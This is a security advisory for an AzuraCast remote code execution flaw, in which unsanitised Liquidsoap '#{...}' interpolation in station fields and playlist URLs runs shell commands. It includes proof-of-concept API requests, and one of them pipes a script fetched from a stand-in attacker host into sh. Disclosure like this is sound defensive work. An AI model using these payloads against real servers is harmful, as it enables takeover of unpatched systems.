azuracast/azuracast
Affected
- introduced
0, fixed0.23.4(ecosystem)
Fixed versions
0.23.4
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-100857
AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs
Summary
AzuraCast's ConfigWriter::cleanUpString() method fails to sanitize Liquidsoap string interpolation sequences (#{...}), allowing authenticated users with StationPermissions::Media or StationPermissions::Profile permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, #{...} expressions are evaluated, enabling arbitrary command execution via Liquidsoap's process.run() function.
Root Cause
File: backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php, line ~1345
public static function cleanUpString(?string $string): string
{
return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');
}
This function only replaces " with ' and strips newlines. It does NOT filter:
#{...} — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\ — Backslash escape characterLiquidsoap, like Ruby, evaluates #{expression} inside double-quoted strings. process.run() in Liquidsoap executes shell commands.
Injection Points
All user-controllable fields that pass through cleanUpString() and are embedded in double-quoted strings in the .liq config:
| Field | Permission Required | Config Line |
|---|---|---|
| playlist.remote_url | Media | input.http("...") or playlist("...") |
| station.name | Profile | name = "..." |
| station.description | Profile | description = "..." |
| station.genre | Profile | genre = "..." |
| station.url | Profile | url = "..." |
| backend_config.live_broadcast_text | Profile | settings.azuracast.live_broadcast_text := "..." |
| backend_config.dj_mount_point | Profile | input.harbor("...") |
PoC 1: Via Remote Playlist URL (Media permission)
POST /api/station/1/playlists HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>
{
"name": "Malicious Remote",
"source": "remote_url",
"remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream",
"remote_type": "stream",
"is_enabled": true
}
The generated liquidsoap.liq will contain:
mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream")))
When Liquidsoap parses this, process.run('id > /tmp/pwned') executes as the azuracast user.
PoC 2: Via Station Description (Profile permission)
PUT /api/station/1/profile/edit HTTP/1.1
Content-Type: application/json
Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>
{
"name": "My Station",
"description": "#{process.run('curl http://attacker.com/shell.sh | sh')}"
}
Generates:
description = "#{process.run('curl http://attacker.com/shell.sh | sh')}"
Trigger Condition
The injection fires when the station is restarted, which happens during:
Broadcasting permissionazuracast:radio:restart CLI commandImpact
Media or Profile permissionazuracast userRecommended Fix
Update cleanUpString() to escape # and \:
public static function cleanUpString(?string $string): string
{
return str_replace(
['"', "\n", "\r", '\\', '#'],
['\'', '', '', '\\\\', '\\#'],
$string ?? ''
);
}High Basis: The source's own band: HIGH
0, fixed 0.23.4 (ecosystem)0.23.4
The export has no generic command for this ecosystem.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0